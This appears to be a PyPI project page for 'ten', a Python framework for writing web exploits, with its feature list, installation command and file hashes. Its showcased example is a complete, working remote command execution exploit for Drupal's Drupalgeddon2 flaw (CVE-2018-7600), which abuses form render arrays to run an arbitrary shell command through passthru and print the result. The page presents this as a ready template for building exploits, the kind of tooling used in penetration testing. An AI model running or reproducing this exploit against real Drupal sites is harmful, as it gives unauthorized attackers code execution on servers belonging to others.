Skip to main content

A (small) web exploit framework

Project description

ten

My (small) web exploit framework. I got tired of writing standard code over and over again, so I made this. Makes code more concise, clearer, faster to write. Might be useful to you.

It helps with HTTP interactions, handling user input, providing clear output, handling files, and running shell commands.

Useful to build POCs, and convert them into full, documented exploits in a blink.

Documentation

Documentation is available here: https://cfreal.github.io/ten/.

It includes tutorials, quickstart guides, and the Python documentation.

Installation

Ten is available on PyPi.

$ pip install ten

Features

  • Input/output
    • Arguments to the main function are automatically mapped to argparse
      • They can hold a default value, get documented, etc.
    • Output is clear and readable
  • HTTP
    • Improves the standard requests API
    • Parse HTTP responses easily (regex, CSS selectors, forms)
    • Turn BURP on and off in a blink
    • Concurrency
    • Lots more.
  • Data conversion
    • Transform data: base64, hashing, query string, CSV, JSON, ...
    • Available as a tool: tf
  • ...

Example

Functional, fully documented Drupalgeddon2 exploit:

#!/usr/bin/env python3

from ten import *


@entry
@arg("url", "URL of the Drupal website to exploit")
@arg("command", "Command to run on the server. Defaults to `id`")
def main(url, command="id"):
    """Exploit for Drupalgeddon2 (CVE-2018-7600)."""

    session = ScopedSession(url)
    response = session.post(
        url,
        params={
            "q": "user/password",
            "name[#post_render][]": "passthru",
            "name[#markup]": command,
            "name[#type]": "markup",
        },
        data={"form_id": "user_pass", "_triggering_element_name": "name"},
    )
    try:
        form = response.form(id="user_pass")
    except FormNotFoundError:
        failure("Unable to find form in response")
    
    build_id = form["form_build_id"]
    response = session.post(
        url,
        params={
            "q": f"file/ajax/name/#value/{build_id}"
        },
        data={"form_build_id": build_id},
    )
    result = response.re.search(r"^(.*)\[{", flags=re.S)
    
    assume(result, "Unable to find command result in response")

    msg_success("Exploit done")
    msg_info("Command result:")

    msg_print(result.group(1))


main()

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

ten-0.1.7.tar.gz (45.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

ten-0.1.7-py3-none-any.whl (54.6 kB view details)

Uploaded Python 3

File details

Details for the file ten-0.1.7.tar.gz.

File metadata

  • Download URL: ten-0.1.7.tar.gz
  • Upload date:
  • Size: 45.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.4.2 CPython/3.10.9 Linux/5.15.0-143-generic

File hashes

Hashes for ten-0.1.7.tar.gz
Algorithm Hash digest
SHA256 13078afc0db486d8af5e7cc77de8fdd037c11fa479e83d4a073910c4f68e50d2
MD5 68233bbfe5883b2a9f6b2744f45c56bb
BLAKE2b-256 26d54751509bf8b4ca78734e7520fcb00e7126cf79e24edca83f20572568036a

See more details on using hashes here.

File details

Details for the file ten-0.1.7-py3-none-any.whl.

File metadata

  • Download URL: ten-0.1.7-py3-none-any.whl
  • Upload date:
  • Size: 54.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.4.2 CPython/3.10.9 Linux/5.15.0-143-generic

File hashes

Hashes for ten-0.1.7-py3-none-any.whl
Algorithm Hash digest
SHA256 ac9c4174bf98b27baf5714837c73b9d764f968e90b59ef7aa9971baee95ace76
MD5 0b2310c4881fe2d28b2bd6bea827b446
BLAKE2b-256 975e5fbc055430bce17545e475f8c78d4143ec37123d9d122d18f6f339b3762a

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page